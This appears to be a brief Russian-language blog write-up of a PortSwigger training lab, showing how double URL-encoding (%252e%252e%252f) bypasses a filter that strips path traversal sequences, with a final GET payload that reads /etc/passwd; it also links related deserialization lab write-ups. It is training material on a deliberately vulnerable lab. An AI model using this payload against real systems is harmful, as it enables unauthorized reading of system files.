На странице
apsyleg1 мин
#portswigger #path-traversal #web-security
File Path Traversal: обход вырезки traversal через двойное URL-кодирование
Лаборатория
File path traversal, traversal sequences stripped with superfluous URL-decode · Practitioner
Решение
Дано
This lab contains a path traversal vulnerability in the display of product images.
The application blocks input containing path traversal sequences. It then performs a URL-decode of the input before using it.
To solve the lab, retrieve the contents of the /etc/passwd file.
Анализ и разведка
Всё как и в предыдущей лабе, только на этот раз нужно использовать технику URL-кодирования и попробовать заменить ../ на %2e%2e%2f. Или даже двойного кодирования: ../ → %2e%2e%2f → %252e%252e%252f.
Попробуем нагрузку с %2e%2e%2f — не прошло.
Тогда двойное кодирование — прошло.
Итоговая нагрузка
GET /image?filename=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc/passwd
Ещё в этой категории
Внедрение произвольного объекта в PHP (PortSwigger Lab)
Восстановление утёкшего исходного кода и внедрение сериализованного объекта CustomTemplate, чей __destruct удаляет произвольный файл.
Эксплуатация небезопасной десериализации через функции приложения (PortSwigger Lab)
Подмена поля `avatar_link` в объекте сессии для удаления произвольного файла через функцию удаления аккаунта.
Изменение типов сериализованных данных (PortSwigger Lab)
Эксплуатируем нестрогое сравнение PHP, меняя тип `access_token` на целое `0` и обходя аутентификацию.